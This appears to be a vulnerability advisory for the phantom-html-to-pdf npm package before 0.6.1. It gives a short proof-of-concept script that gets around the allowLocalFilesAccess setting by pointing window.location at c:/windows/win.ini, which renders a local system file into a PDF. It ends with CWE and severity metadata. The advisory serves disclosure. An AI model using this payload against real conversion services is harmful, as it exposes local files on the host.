This affects the package phantom-html-to-pdf before 0.6.1.
var fs = require('fs') var conversion = require("phantom-html-to-pdf")();
conversion.allowLocalFilesAccess = false conversion({
html: "document.write(window.location='c:/windows/win.ini')"
}, function(err, pdf) {
var output = fs.createWriteStream('output.pdf') console.log(pdf.logs);
console.log(pdf.numberOfPages);
pdf.stream.pipe(output);
});
{
"cwe_ids": [
"CWE-200",
"CWE-22"
],
"severity": "HIGH",
"github_reviewed_at": "2020-11-06T18:02:24Z",
"github_reviewed": true,
"nvd_published_at": "2020-11-05T14:15:00Z"
}